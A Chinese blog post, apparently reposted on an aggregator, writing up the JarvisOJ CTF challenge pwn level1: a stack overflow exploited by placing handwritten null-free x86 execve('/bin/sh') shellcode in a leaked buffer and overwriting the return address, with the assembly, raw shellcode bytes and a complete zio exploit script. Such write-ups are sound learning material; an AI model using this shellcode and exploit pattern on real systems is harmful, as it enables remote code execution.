jarvisoj pwn level1 ——记第一次shellcode的编写
来源:互联网 发布:人工智能现状和趋势 编辑:程序博客网 时间:2024/06/06 20:21
jarvisoj(https://www.jarvisoj.com/challenges )pwn部分 level1 解题过程:
在队友的指导下写了人生第一个shellcode感觉很刺激,过程中还是学到了很多东西,记录一下
这个程序流程很简单,用ida分析就两个主要的函数:
main:
int __cdecl main(int argc, const char **argv, const char **envp){ vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0;}
vulnerable_function:
ssize_t vulnerable_function(){ char buf; // [sp+0h] [bp-88h]@1 printf("What's this:%p?\n", &buf); return read(0, &buf, 0x100u);}
可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。
现在的关键是写shellcode
因为linux内核的系统调用表是一样的,可以通过http://syscalls.kernelgrok.com/网站来查询,所以我们可以通过写这样的汇编代码来生成shellcode:
global _start_start:xor ecx,ecxxor edx,edxpush edxpush "//sh"push "/bin"mov ebx,espxor eax,eaxmov al,0Bhint 80h
golbal定义了程序的入口点,gcc和ld似乎都认定入口点符号是_start,所以最好不要写别的名字
这段汇编代码的作用是传参并调用中断向量表0x0B(对应的是execve),这个函数的第一个参数是要执行的文件名,这里就是“/bin/sh”;第二个参数是参数集合;第三个参数是环境变量。这里第二和第三个参数都填0即可。
为什么要将“\bin\sh”压入栈中,再将栈顶指针值赋值给ebx来传第一个参数呢?
因为execve的第一个参数是一个字符串的首地址,所以你需要一个栈上的地址作为”/bin/sh”的首地址,直接将“/bin/sh” push进入栈后,esp恰好就是它的指针了。
注意,在传“/bin/sh”这个参数时,我一开始是这么写的:
push "/bin/sh"
这么写有两个问题:
1.汇编器在汇编的时候,一个push只能push 4个字节数据,超长数据将会被截断。
2.末尾没有填充‘/0’字符表示字符串结束,这样会引发错误
后来我改成了这样:
push "/sh"push "/bin"
这样对于这一题是可以的,你可能会问,你这里不也没填充’/0’吗?之前说过,push时会push 4字节的数据,在不够4字节的数据时,汇编器会在末尾补零(或者说原来里面的值全是0,只覆盖了前3个字节),那么最后一个字节中的0就可以当作字符串的结束标志。
但是这样的shellcode由于具有’\0’,容易被一些函数(如strcpy,strlen等)截断。为了防止这个问题,我们需要让shellcode的二进制代码中没有/x00这样的字节。
所以就有了最终版,这个版本的shellcode只有23字节,而且没有一个/x00字节,以下是传”/bin/sh”的部分:
xor edx,edxpush edxpush "//sh"push "/bin"
注意:在终端中”/bin/sh”和”/bin//sh”的效果是一样的,这里为了预防/x00字节的出现,用//sh填充了。
写好了汇编代码,我们需要验证是否可行,于是用nasm和ld将这些汇编代码编译成二进制可执行文件:
nasm -f elf 汇编代码文件名ld -o 输出文件名 上条指令生成的.o文件
之后在当前目录下你就可以找到一个elf文件,执行之后可以拿到shell,验证了shellcode的可行性。
完整的pwn脚本如下:
from zio import *io = zio(("pwn2.jarvisoj.com",9877))shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"buff = int(io.readline()[-10:-2],16)payload = shellcode + (0x88 - 23) * "A" + "bbbb" + l32(buff)io.writeline(payload)io.interact()
- jarvisoj pwn level1 ——记第一次shellcode的编写
- JarvisOJ Web&Reverse&Pwn
- ShellCode编写实例—突破防火墙的ShellCode
- ShellCode编写实例—突破防火墙的ShellCode
- shellcode的初步编写
- 编写"优美"的SHELLCODE
- 编写shellcode的全过程
- 编写"优美"的SHELLCODE
- Shellcode的编写
- Shellcode的编写
- 编写Unicode有效的Shellcode
- 编写word木马的shellcode
- Shellcode的原理及编写
- 纯ascii的shellcode编写
- Shellcode的原理及编写
- Shellcode的原理及编写
- Shellcode的原理及编写
- 玩玩CUBLAS(2)——level1函数
- 深入c++对象模型之执行期语意学
- @RequestBody, @ResponseBody 注解详解
- 行为型之责任链模式
- Android BottomNavigation Demo
- Java给图片加图片水印代码
- jarvisoj pwn level1 ——记第一次shellcode的编写
- 【RabbitMQ】RabbitMQ与Spring整合
- 【设计模式】-原则总结(二)
- 大学。。。
- 数据库-数据库、基本表、视图的创建,触发器的使用
- 【bzoj1036】[ZJOI2008]树的统计Count
- 最长公共子序列
- 行为型之中介者模式
- 转接IC GM8284DD:LVDS转TTL芯片 28位LVDS图像接收器